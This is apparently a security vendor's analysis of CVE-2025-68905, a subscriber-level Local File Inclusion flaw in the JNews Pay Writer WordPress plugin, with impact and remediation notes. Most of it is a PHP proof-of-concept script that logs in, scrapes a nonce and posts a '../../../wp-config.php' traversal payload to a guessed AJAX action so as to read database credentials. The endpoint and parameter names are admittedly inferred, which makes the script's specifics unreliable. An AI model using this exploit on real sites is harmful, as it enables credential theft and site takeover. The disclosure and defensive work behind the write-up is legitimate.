Atomic Edge analysis of CVE-2025-68905 (metadata-based):
This vulnerability is an authenticated Local File Inclusion (LFI) flaw in the JNews – Pay Writer WordPress plugin up to version 11.0.0. Attackers with subscriber-level or higher privileges can exploit it to include and execute arbitrary files on the server. The flaw resides in a plugin component that fails to properly validate user-supplied file paths, leading to critical server-side code execution.
Atomic Edge research infers the root cause is improper sanitization of a file path parameter used in a PHP include or require statement (CWE-98). The vulnerability description confirms attackers can include arbitrary files, including uploaded images, to execute PHP code. Without a code diff, this conclusion is inferred from the CWE classification and the described impact. The plugin likely passes unsanitized user input directly to a file inclusion function like `include()` or `require_once()`.
Exploitation likely involves a POST or GET request to a WordPress AJAX handler or a specific plugin endpoint. An authenticated attacker would send a request containing a malicious file path parameter. The payload could traverse directories (e.g., `../../../wp-config.php`) or include previously uploaded files containing PHP code. A common WordPress pattern is an AJAX action like `jnews_pay_writer_action` at `/wp-admin/admin-ajax.php`. The attacker-controlled parameter, perhaps named `file` or `template`, would contain the local file path.
Remediation requires implementing strict validation and sanitization on any user-controlled input used for file operations. The patched version should restrict file inclusion to a whitelist of allowed files within a safe directory. Input must be validated against path traversal sequences. The plugin should also enforce proper capability checks, though authentication is already required. Using WordPress functions like `sanitize_file_name()` and `realpath()` with a base directory check is a standard fix.
The impact of successful exploitation is severe. Attackers can read sensitive files like `wp-config.php` to compromise database credentials. They can execute arbitrary PHP code on the server by including uploaded files, leading to full site takeover. This vulnerability bypasses access controls and can serve as a privilege escalation vector, enabling attackers to perform actions beyond their assigned subscriber role.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68905 - JNews - Pay Writer <= 11.0.0 - Authenticated (Subscriber+) Local File Inclusion
<?php
/**
* Proof-of-Concept for CVE-2025-68905.
* This script simulates an authenticated attacker exploiting a Local File Inclusion vulnerability.
* The exact endpoint and parameter name are inferred from WordPress plugin patterns and the CWE.
* Assumptions:
* 1. The target site has the vulnerable JNews - Pay Writer plugin (<=11.0.0) installed.
* 2. The attacker has valid subscriber-level credentials.
* 3. The vulnerable endpoint is an AJAX handler at /wp-admin/admin-ajax.php.
* 4. The vulnerable parameter is named 'file' or 'template'.
* 5. The plugin uses a nonce for the AJAX action, but the nonce may be bypassed or not required.
*/
$target_url = 'https://target-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS
$password = 'subscriber_pass'; // CHANGE THIS
// File to include (e.g., WordPress configuration file or a previously uploaded malicious file)
$file_to_include = '../../../wp-config.php';
// Inferred AJAX action based on plugin slug 'jnews-pay-writer'
// Common patterns: 'jnews_pay_writer_action', 'jnews_pay_writer_ajax', 'jnpw_action'
$ajax_action = 'jnews_pay_writer_action';
// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die('Authentication failed. Check credentials.');
}
// Step 2: Attempt to retrieve a nonce from an admin page (if required)
// Many AJAX actions require a nonce. This step may fail if the nonce is not exposed.
// The vulnerability may exist even with a nonce if the nonce is not validated.
$admin_url = $target_url . '/wp-admin/admin.php?page=jnews-pay-writer';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$admin_page = curl_exec($ch);
$nonce = '';
if (preg_match('/"nonce"s*:s*"([a-f0-9]+)"/', $admin_page, $matches)) {
$nonce = $matches[1];
}
// Step 3: Exploit the LFI via the inferred AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_fields = [
'action' => $ajax_action,
'file' => $file_to_include, // Inferred parameter name
'nonce' => $nonce // Include if found, may be optional
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$exploit_response = curl_exec($ch);
// Step 4: Output the result
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
echo "Exploit attempt completed. Response preview:n";
echo substr($exploit_response, 0, 2000);
if (strpos($exploit_response, 'DB_NAME') !== false) {
echo "n[SUCCESS] Likely extracted wp-config.php contents.";
}
} else {
echo "Request failed with HTTP code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE);
}
curl_close($ch);
?>